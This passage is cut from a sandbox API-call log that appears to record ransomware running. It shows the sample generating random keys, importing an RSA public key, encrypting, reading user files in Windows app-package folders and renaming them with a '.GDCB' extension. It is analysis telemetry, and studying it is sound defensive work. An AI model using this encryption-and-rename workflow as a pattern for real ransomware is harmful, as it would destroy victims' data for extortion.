pbData=0x7b60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.395] GetLastError () returned 0x0 [0226.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.395] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.397] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487e40) returned 1 [0226.397] CryptGetKeyParam (in: hKey=0x6487e40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.397] CryptEncrypt (in: hKey=0x6487e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7b70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.398] GetLastError () returned 0x0 [0226.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.398] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.402] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0226.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.406] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0226.406] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.406] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0226.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.409] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.409] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0226.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.409] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0226.412] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487d80) returned 1 [0226.412] CryptGetKeyParam (in: hKey=0x6487d80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.412] CryptEncrypt (in: hKey=0x6487d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7b80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0226.412] GetLastError () returned 0x0 [0226.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.412] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0226.414] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487ec0) returned 1 [0226.414] CryptGetKeyParam (in: hKey=0x6487ec0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.414] CryptEncrypt (in: hKey=0x6487ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7b90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0226.414] GetLastError () returned 0x0 [0226.414] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.414] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0226.416] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0226.418] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bb0000 [0226.419] ReadFile (in: hFile=0x50c, lpBuffer=0x7bb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7bb0000*, lpNumberOfBytesRead=0x285d8f8*=0x10000, lpOverlapped=0x0) returned 1 [0226.470] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x7cc0000 [0226.478] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0226.546] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.550] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.550] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.550] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.554] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.554] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.555] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.558] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487fc0) returned 1 [0226.558] CryptGetKeyParam (in: hKey=0x6487fc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.558] CryptEncrypt (in: hKey=0x6487fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.558] GetLastError () returned 0x0 [0226.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.558] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.560] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487880) returned 1 [0226.560] CryptGetKeyParam (in: hKey=0x6487880, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.560] CryptEncrypt (in: hKey=0x6487880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7b90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.560] GetLastError () returned 0x0 [0226.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.560] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.562] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0226.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bb0000 [0226.566] ReadFile (in: hFile=0x424, lpBuffer=0x7bb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bb0000*, lpNumberOfBytesRead=0x285d160*=0x1d5d0, lpOverlapped=0x0) returned 1 [0226.591] VirtualAlloc (lpAddress=0x0, dwSize=0x1d5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x7cc0000 [0226.600] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm.gdcb")) returned 0 [0226.604] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.607] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.607] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.607] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.610] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.611] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.613] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64878c0) returned 1 [0226.613] CryptGetKeyParam (in: hKey=0x64878c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.613] CryptEncrypt (in: hKey=0x64878c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.613] GetLastError () returned 0x0 [0226.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.613] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.616] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487900) returned 1 [0226.616] CryptGetKeyParam (in: hKey=0x6487900, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.616] CryptEncrypt (in: hKey=0x6487900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7b90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.616] GetLastError () returned 0x0 [0226.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.616] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.618] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0226.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bb0000 [0226.621] ReadFile (in: hFile=0x424, lpBuffer=0x7bb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bb0000*, lpNumberOfBytesRead=0x285d160*=0x19b8, lpOverlapped=0x0) returned 1 [0226.630] VirtualAlloc (lpAddress=0x0, dwSize=0x19c0, flAllocationType=0x3000, flProtect=0x4) returned 0x7cc0000 [0226.634] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js.gdcb")) returned 0 [0226.636] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0226.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.639] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.639] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.639] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.644] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.644] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.645] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.647] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488580) returned 1 [0226.647] CryptGetKeyParam (in: hKey=0x6488580, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.647] CryptEncrypt (in: hKey=0x6488580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.648] GetLastError () returned 0x0 [0226.648] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.648] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0226.650] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64882c0) returned 1 [0226.650] CryptGetKeyParam (in: hKey=0x64882c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.650] CryptEncrypt (in: hKey=0x64882c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7b90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.650] GetLastError () returned 0x0 [0226.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.650] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\09b80652[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\09b80652[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.652] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.656] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.660] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.660] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.660] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488380) returned 1 [0226.663] CryptGetKeyParam (in: hKey=0x6488380, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.663] CryptEncrypt (in: hKey=0x6488380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.663] GetLastError () returned 0x0 [0226.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.663] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.665] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64885c0) returned 1 [0226.665] CryptGetKeyParam (in: hKey=0x64885c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.665] CryptEncrypt (in: hKey=0x64885c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.665] GetLastError () returned 0x0 [0226.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.665] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.666] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.668] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.669] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x1905c, lpOverlapped=0x0) returned 1 [0226.679] VirtualAlloc (lpAddress=0x0, dwSize=0x19060, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.687] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 